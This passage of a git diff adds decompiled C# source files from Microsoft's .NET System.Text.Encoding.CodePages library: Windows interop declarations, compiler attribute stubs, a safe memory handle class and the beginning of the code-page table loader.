0000000..45f256b --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/FxResources.System.Text.Encoding.CodePages/SR.cs @@ -0,0 +1,5 @@ +namespace FxResources.System.Text.Encoding.CodePages; + +internal static class SR +{ +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/ILLink.Substitutions.xml b/decompiled/Libraries/system.text.encoding.codepages/ILLink.Substitutions.xml new file mode 100644 index 0000000..1b12199 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/ILLink.Substitutions.xml @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/system.text.encoding.codepages/Interop.cs b/decompiled/Libraries/system.text.encoding.codepages/Interop.cs new file mode 100644 index 0000000..b781f40 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/Interop.cs @@ -0,0 +1,158 @@ +using System.Runtime.InteropServices; + +internal static class Interop +{ + internal static class Libraries + { + internal const string Activeds = "activeds.dll"; + + internal const string Advapi32 = "advapi32.dll"; + + internal const string Authz = "authz.dll"; + + internal const string BCrypt = "BCrypt.dll"; + + internal const string Credui = "credui.dll"; + + internal const string Crypt32 = "crypt32.dll"; + + internal const string CryptUI = "cryptui.dll"; + + internal const string Dnsapi = "dnsapi.dll"; + + internal const string Dsrole = "dsrole.dll"; + + internal const string Gdi32 = "gdi32.dll"; + + internal const string HttpApi = "httpapi.dll"; + + internal const string IpHlpApi = "iphlpapi.dll"; + + internal const string Kernel32 = "kernel32.dll"; + + internal const string Logoncli = "logoncli.dll"; + + internal const string Mswsock = "mswsock.dll"; + + internal const string NCrypt = "ncrypt.dll"; + + internal const string Netapi32 = "netapi32.dll"; + + internal const string Netutils = "netutils.dll"; + + internal const string NtDll = "ntdll.dll"; + + internal const string Odbc32 = "odbc32.dll"; + + internal const string Ole32 = "ole32.dll"; + + internal const string OleAut32 = "oleaut32.dll"; + + internal const string Pdh = "pdh.dll"; + + internal const string Secur32 = "secur32.dll"; + + internal const string Shell32 = "shell32.dll"; + + internal const string SspiCli = "sspicli.dll"; + + internal const string User32 = "user32.dll"; + + internal const string Version = "version.dll"; + + internal const string WebSocket = "websocket.dll"; + + internal const string Wevtapi = "wevtapi.dll"; + + internal const string WinHttp = "winhttp.dll"; + + internal const string WinMM = "winmm.dll"; + + internal const string Wkscli = "wkscli.dll"; + + internal const string Wldap32 = "wldap32.dll"; + + internal const string Ws2_32 = "ws2_32.dll"; + + internal const string Wtsapi32 = "wtsapi32.dll"; + + internal const string CompressionNative = "System.IO.Compression.Native"; + + internal const string GlobalizationNative = "System.Globalization.Native"; + + internal const string MsQuic = "msquic.dll"; + + internal const string HostPolicy = "hostpolicy.dll"; + + internal const string Ucrtbase = "ucrtbase.dll"; + + internal const string Xolehlp = "xolehlp.dll"; + } + + internal enum BOOL + { + FALSE, + TRUE + } + + internal static class Kernel32 + { + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct CPINFOEXW + { + internal uint MaxCharSize; + + internal unsafe fixed byte DefaultChar[2]; + + internal unsafe fixed byte LeadByte[12]; + + internal char UnicodeDefaultChar; + + internal uint CodePage; + + internal unsafe fixed char CodePageName[260]; + } + + internal const int MAX_PATH = 260; + + internal const uint CP_ACP = 0u; + + internal const uint WC_NO_BEST_FIT_CHARS = 1024u; + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, ExactSpelling = true)] + [LibraryImport("kernel32.dll", EntryPoint = "GetCPInfoExW", StringMarshalling = StringMarshalling.Utf16)] + private unsafe static extern BOOL GetCPInfoExW(uint CodePage, uint dwFlags, CPINFOEXW* lpCPInfoEx); + + internal unsafe static int GetLeadByteRanges(int codePage, byte[] leadByteRanges) + { + int num = 0; + CPINFOEXW cPINFOEXW = default(CPINFOEXW); + if (GetCPInfoExW((uint)codePage, 0u, &cPINFOEXW) != BOOL.FALSE) + { + for (int i = 0; i < 10 && leadByteRanges[i] != 0; i += 2) + { + leadByteRanges[i] = cPINFOEXW.LeadByte[i]; + leadByteRanges[i + 1] = cPINFOEXW.LeadByte[i + 1]; + num++; + } + } + return num; + } + + internal unsafe static bool TryGetACPCodePage(out int codePage) + { + CPINFOEXW cPINFOEXW = default(CPINFOEXW); + if (GetCPInfoExW(0u, 0u, &cPINFOEXW) != BOOL.FALSE) + { + codePage = (int)cPINFOEXW.CodePage; + return true; + } + codePage = 0; + return false; + } + + [DllImport("kernel32.dll", ExactSpelling = true)] + [LibraryImport("kernel32.dll")] + internal unsafe static extern int WideCharToMultiByte(uint CodePage, uint dwFlags, char* lpWideCharStr, int cchWideChar, byte* lpMultiByteStr, int cbMultiByte, byte* lpDefaultChar, BOOL* lpUsedDefaultChar); + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/Microsoft.CodeAnalysis/EmbeddedAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/Microsoft.CodeAnalysis/EmbeddedAttribute.cs new file mode 100644 index 0000000..eb4430f --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/Microsoft.CodeAnalysis/EmbeddedAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +[CompilerGenerated] +[Embedded] +internal sealed class EmbeddedAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/Microsoft.Win32.SafeHandles/SafeAllocHHandle.cs b/decompiled/Libraries/system.text.encoding.codepages/Microsoft.Win32.SafeHandles/SafeAllocHHandle.cs new file mode 100644 index 0000000..4606566 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/Microsoft.Win32.SafeHandles/SafeAllocHHandle.cs @@ -0,0 +1,29 @@ +using System; +using System.Runtime.InteropServices; + +namespace Microsoft.Win32.SafeHandles; + +internal sealed class SafeAllocHHandle : SafeBuffer +{ + internal static SafeAllocHHandle InvalidHandle => new SafeAllocHHandle(IntPtr.Zero); + + public SafeAllocHHandle() + : base(ownsHandle: true) + { + } + + internal SafeAllocHHandle(IntPtr handle) + : base(ownsHandle: true) + { + SetHandle(handle); + } + + protected override bool ReleaseHandle() + { + if (handle != IntPtr.Zero) + { + Marshal.FreeHGlobal(handle); + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/Properties/AssemblyInfo.cs b/decompiled/Libraries/system.text.encoding.codepages/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..96c0003 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/Properties/AssemblyInfo.cs @@ -0,0 +1,28 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; +using System.Security; +using System.Security.Permissions; + +[assembly: AssemblyMetadata(".NETFrameworkAssembly", "")] +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyDefaultAlias("System.Text.Encoding.CodePages")] +[assembly: NeutralResourcesLanguage("en-US")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata("IsTrimmable", "True")] +[assembly: DefaultDllImportSearchPaths(DllImportSearchPath.System32 | DllImportSearchPath.AssemblyDirectory)] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyDescription("Provides support for code-page based encodings, including Windows-1252, Shift-JIS, and GB2312.\r\n\r\nCommonly Used Types:\r\nSystem.Text.CodePagesEncodingProvider")] +[assembly: AssemblyFileVersion("7.0.22.51805")] +[assembly: AssemblyInformationalVersion("7.0.0+d099f075e45d2aa6007a22b71b45a08758559f80")] +[assembly: AssemblyProduct("Microsoft® .NET")] +[assembly: AssemblyTitle("System.Text.Encoding.CodePages")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/runtime")] +[assembly: AssemblyVersion("7.0.0.0")] +[module: NullablePublicOnly(false)] diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs new file mode 100644 index 0000000..6189a22 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class AllowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs new file mode 100644 index 0000000..15b3a21 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class DisallowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs new file mode 100644 index 0000000..e3b3818 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method, Inherited = false)] +internal sealed class DoesNotReturnAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs new file mode 100644 index 0000000..cee0e47 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class DoesNotReturnIfAttribute : Attribute +{ + public bool ParameterValue { get; } + + public DoesNotReturnIfAttribute(bool parameterValue) + { + ParameterValue = parameterValue; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs new file mode 100644 index 0000000..a25d17e --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class MaybeNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs new file mode 100644 index 0000000..f637f90 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class MaybeNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public MaybeNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs new file mode 100644 index 0000000..64cf83f --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullAttribute : Attribute +{ + public string[] Members { get; } + + public MemberNotNullAttribute(string member) + { + Members = new string[1] { member }; + } + + public MemberNotNullAttribute(params string[] members) + { + Members = members; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs new file mode 100644 index 0000000..ee71d72 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs @@ -0,0 +1,21 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public string[] Members { get; } + + public MemberNotNullWhenAttribute(bool returnValue, string member) + { + ReturnValue = returnValue; + Members = new string[1] { member }; + } + + public MemberNotNullWhenAttribute(bool returnValue, params string[] members) + { + ReturnValue = returnValue; + Members = members; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs new file mode 100644 index 0000000..d096bc2 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class NotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs new file mode 100644 index 0000000..e269971 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple = true, Inherited = false)] +internal sealed class NotNullIfNotNullAttribute : Attribute +{ + public string ParameterName { get; } + + public NotNullIfNotNullAttribute(string parameterName) + { + ParameterName = parameterName; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs new file mode 100644 index 0000000..8923436 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class NotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public NotNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs new file mode 100644 index 0000000..b1e6bfb --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis; + +namespace System.Runtime.CompilerServices; + +[CompilerGenerated] +[Embedded] +[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)] +internal sealed class NullablePublicOnlyAttribute : Attribute +{ + public readonly bool IncludesInternals; + + public NullablePublicOnlyAttribute(bool P_0) + { + IncludesInternals = P_0; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.InteropServices/LibraryImportAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.InteropServices/LibraryImportAttribute.cs new file mode 100644 index 0000000..d549164 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.InteropServices/LibraryImportAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Runtime.InteropServices; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class LibraryImportAttribute : Attribute +{ + public string LibraryName { get; } + + public string EntryPoint { get; set; } + + public StringMarshalling StringMarshalling { get; set; } + + public Type StringMarshallingCustomType { get; set; } + + public bool SetLastError { get; set; } + + public LibraryImportAttribute(string libraryName) + { + LibraryName = libraryName; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.InteropServices/StringMarshalling.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.InteropServices/StringMarshalling.cs new file mode 100644 index 0000000..b8bc953 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.InteropServices/StringMarshalling.cs @@ -0,0 +1,8 @@ +namespace System.Runtime.InteropServices; + +internal enum StringMarshalling +{ + Custom, + Utf8, + Utf16 +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/OSPlatformAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/OSPlatformAttribute.cs new file mode 100644 index 0000000..4760864 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/OSPlatformAttribute.cs @@ -0,0 +1,11 @@ +namespace System.Runtime.Versioning; + +internal abstract class OSPlatformAttribute : Attribute +{ + public string PlatformName { get; } + + private protected OSPlatformAttribute(string platformName) + { + PlatformName = platformName; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/ObsoletedOSPlatformAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/ObsoletedOSPlatformAttribute.cs new file mode 100644 index 0000000..1d223bd --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/ObsoletedOSPlatformAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Module | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)] +internal sealed class ObsoletedOSPlatformAttribute : OSPlatformAttribute +{ + public string Message { get; } + + public string Url { get; set; } + + public ObsoletedOSPlatformAttribute(string platformName) + : base(platformName) + { + } + + public ObsoletedOSPlatformAttribute(string platformName, string message) + : base(platformName) + { + Message = message; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/SupportedOSPlatformAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/SupportedOSPlatformAttribute.cs new file mode 100644 index 0000000..7538a98 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/SupportedOSPlatformAttribute.cs @@ -0,0 +1,10 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Module | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)] +internal sealed class SupportedOSPlatformAttribute : OSPlatformAttribute +{ + public SupportedOSPlatformAttribute(string platformName) + : base(platformName) + { + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/SupportedOSPlatformGuardAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/SupportedOSPlatformGuardAttribute.cs new file mode 100644 index 0000000..a5c9756 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/SupportedOSPlatformGuardAttribute.cs @@ -0,0 +1,10 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = true, Inherited = false)] +internal sealed class SupportedOSPlatformGuardAttribute : OSPlatformAttribute +{ + public SupportedOSPlatformGuardAttribute(string platformName) + : base(platformName) + { + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/TargetPlatformAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/TargetPlatformAttribute.cs new file mode 100644 index 0000000..749d7b9 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/TargetPlatformAttribute.cs @@ -0,0 +1,10 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Assembly, AllowMultiple = false, Inherited = false)] +internal sealed class TargetPlatformAttribute : OSPlatformAttribute +{ + public TargetPlatformAttribute(string platformName) + : base(platformName) + { + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/UnsupportedOSPlatformAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/UnsupportedOSPlatformAttribute.cs new file mode 100644 index 0000000..e090346 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/UnsupportedOSPlatformAttribute.cs @@ -0,0 +1,18 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Module | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)] +internal sealed class UnsupportedOSPlatformAttribute : OSPlatformAttribute +{ + public string Message { get; } + + public UnsupportedOSPlatformAttribute(string platformName) + : base(platformName) + { + } + + public UnsupportedOSPlatformAttribute(string platformName, string message) + : base(platformName) + { + Message = message; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/UnsupportedOSPlatformGuardAttribute.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/UnsupportedOSPlatformGuardAttribute.cs new file mode 100644 index 0000000..6977be5 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Runtime.Versioning/UnsupportedOSPlatformGuardAttribute.cs @@ -0,0 +1,10 @@ +namespace System.Runtime.Versioning; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Field, AllowMultiple = true, Inherited = false)] +internal sealed class UnsupportedOSPlatformGuardAttribute : OSPlatformAttribute +{ + public UnsupportedOSPlatformGuardAttribute(string platformName) + : base(platformName) + { + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/BaseCodePageEncoding.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/BaseCodePageEncoding.cs new file mode 100644 index 0000000..87fb706 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/BaseCodePageEncoding.cs @@ -0,0 +1,329 @@ +using System.Buffers.Binary; +using System.IO; +using System.Runtime.InteropServices; +using System.Runtime.Serialization; +using Microsoft.Win32.SafeHandles; + +namespace System.Text; + +internal abstract class BaseCodePageEncoding : EncodingNLS, ISerializable +{ + [StructLayout(LayoutKind.Explicit)] + internal struct CodePageDataFileHeader + { + [FieldOffset(0)] + internal char TableName; + + [FieldOffset(32)] + internal ushort Version; + + [FieldOffset(40)] + internal short CodePageCount; + + [FieldOffset(42)] + internal short unused1; + } + + [StructLayout(LayoutKind.Explicit, Pack = 2)] + internal struct CodePageIndex + { + [FieldOffset(0)] + internal char CodePageName; + + [FieldOffset(32)] + internal short CodePage; + + [FieldOffset(34)] + internal short ByteCount; + + [FieldOffset(36)] + internal int Offset; + } + + [StructLayout(LayoutKind.Explicit)] + internal struct CodePageHeader + { + [FieldOffset(0)] + internal char CodePageName; + + [FieldOffset(32)] + internal ushort VersionMajor; + + [FieldOffset(34)] + internal ushort VersionMinor; + + [FieldOffset(36)] + internal ushort VersionRevision; + + [FieldOffset(38)] + internal ushort VersionBuild; + + [FieldOffset(40)] + internal short CodePage; + + [FieldOffset(42)] + internal short ByteCount; + + [FieldOffset(44)] + internal char UnicodeReplace; + + [FieldOffset(46)] + internal ushort ByteReplace; + } + + internal const string CODE_PAGE_DATA_FILE_NAME = "codepages.nlp"; + + protected int dataTableCodePage; + + protected int iExtraBytes; + + protected char[] arrayUnicodeBestFit; + + protected char[] arrayBytesBestFit; + + private const int CODEPAGE_DATA_FILE_HEADER_SIZE = 44; + + private const int CODEPAGE_HEADER_SIZE = 48; + + private static readonly byte[] s_codePagesDataHeader = new byte[44]; + + protected static Stream s_codePagesEncodingDataStream = GetEncodingDataStream("codepages.nlp"); + + protected static readonly object s_streamLock = new object(); + + protected byte[] m_codePageHeader = new byte[48]; + + protected int m_firstDataWordOffset; + + protected int m_dataSize; + + protected SafeAllocHHandle safeNativeMemoryHandle; + + internal BaseCodePageEncoding(int codepage) + : this(codepage, codepage) + { + } + + internal BaseCodePageEncoding(int codepage, int dataCodePage) + : base(codepage, new InternalEncoderBestFitFallback(null), new InternalDecoderBestFitFallback(null)) + { + ((InternalEncoderBestFitFallback)base.EncoderFallback).encoding = this; + ((InternalDecoderBestFitFallback)base.DecoderFallback).encoding = this; + dataTableCodePage = dataCodePage; + LoadCodePageTables(); + } + + internal BaseCodePageEncoding(int codepage, int dataCodePage, EncoderFallback enc, DecoderFallback dec) + : base(codepage, enc, dec) + { + dataTableCodePage = dataCodePage; + LoadCodePageTables(); + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + throw new PlatformNotSupportedException(); + } + + private unsafe static void ReadCodePageDataFileHeader(Stream stream, byte[] codePageDataFileHeader) + { + int num = stream.Read(codePageDataFileHeader, 0, codePageDataFileHeader.Length); + if (BitConverter.IsLittleEndian) + { + return; + } + fixed (byte* ptr = &codePageDataFileHeader[0]) + { + CodePageDataFileHeader* ptr2 = (CodePageDataFileHeader*)ptr; + char* ptr3 = &ptr2->TableName; + for (int i = 0; i < 16; i++) + { + ptr3[i] = (char)BinaryPrimitives.ReverseEndianness(ptr3[i]); + } + ushort* ptr4 = &ptr2->Version; + for (int j = 0; j < 4; j++) + { + ptr4[j] = BinaryPrimitives.ReverseEndianness(ptr4[j]); + } + ptr2->CodePageCount = BinaryPrimitives.ReverseEndianness(ptr2->CodePageCount); + } + } + + private unsafe static void ReadCodePageIndex(Stream stream, byte[] codePageIndex) + { + int num = stream.Read(codePageIndex, 0, codePageIndex.Length); + if (BitConverter.IsLittleEndian) + { + return; + } + fixed (byte* ptr = &codePageIndex[0]) + { + CodePageIndex* ptr2 = (CodePageIndex*)ptr; + char* ptr3 = &ptr2->CodePageName; + for (int i = 0; i < 16; i++) + { + ptr3[i] = (char)BinaryPrimitives.ReverseEndianness(ptr3[i]); + } + ptr2->CodePage = BinaryPrimitives.ReverseEndianness(ptr2->CodePage); + ptr2->ByteCount = BinaryPrimitives.ReverseEndianness(ptr2->ByteCount); + ptr2->Offset = BinaryPrimitives.ReverseEndianness(ptr2->Offset); + } + } + + private unsafe static void ReadCodePageHeader(Stream stream, byte[] codePageHeader) + { + int num = stream.Read(codePageHeader, 0, codePageHeader.Length); + if (BitConverter.IsLittleEndian) + { + return; + } + fixed (byte* ptr = &codePageHeader[0]) + { + CodePageHeader* ptr2 = (CodePageHeader*)ptr; + char* ptr3 = &ptr2->CodePageName; + for (int i = 0; i < 16; i++) + { + ptr3[i] = (char)BinaryPrimitives.ReverseEndianness(ptr3[i]); + } + ptr2->VersionMajor = BinaryPrimitives.ReverseEndianness(ptr2->VersionMajor); + ptr2->VersionMinor = BinaryPrimitives.ReverseEndianness(ptr2->VersionMinor); + ptr2->VersionRevision = BinaryPrimitives.ReverseEndianness(ptr2->VersionRevision); + ptr2->VersionBuild = BinaryPrimitives.ReverseEndianness(ptr2->VersionBuild); + ptr2->CodePage = BinaryPrimitives.ReverseEndianness(ptr2->CodePage); + ptr2->ByteCount = BinaryPrimitives.ReverseEndianness(ptr2->ByteCount); + ptr2->UnicodeReplace = (char)BinaryPrimitives.ReverseEndianness(ptr2->UnicodeReplace); + ptr2->ByteReplace = BinaryPrimitives.ReverseEndianness(ptr2->ByteReplace); + } + } + + internal static Stream GetEncodingDataStream(string tableName) + { + Stream manifestResourceStream = typeof(CodePagesEncodingProvider).Assembly.GetManifestResourceStream(tableName); + if (manifestResourceStream == null) + { + throw new InvalidOperationException(); + } + ReadCodePageDataFileHeader(manifestResourceStream, s_codePagesDataHeader); + return manifestResourceStream; + } + + private void LoadCodePageTables() + { + if (!FindCodePage(dataTableCodePage)) + { + throw new NotSupportedException(System.SR.Format(System.SR.NotSupported_NoCodepageData, CodePage)); + } + LoadManagedCodePage(); + } + + private unsafe bool FindCodePage(int codePage) + { + byte[] array = new byte[sizeof(CodePageIndex)]; + 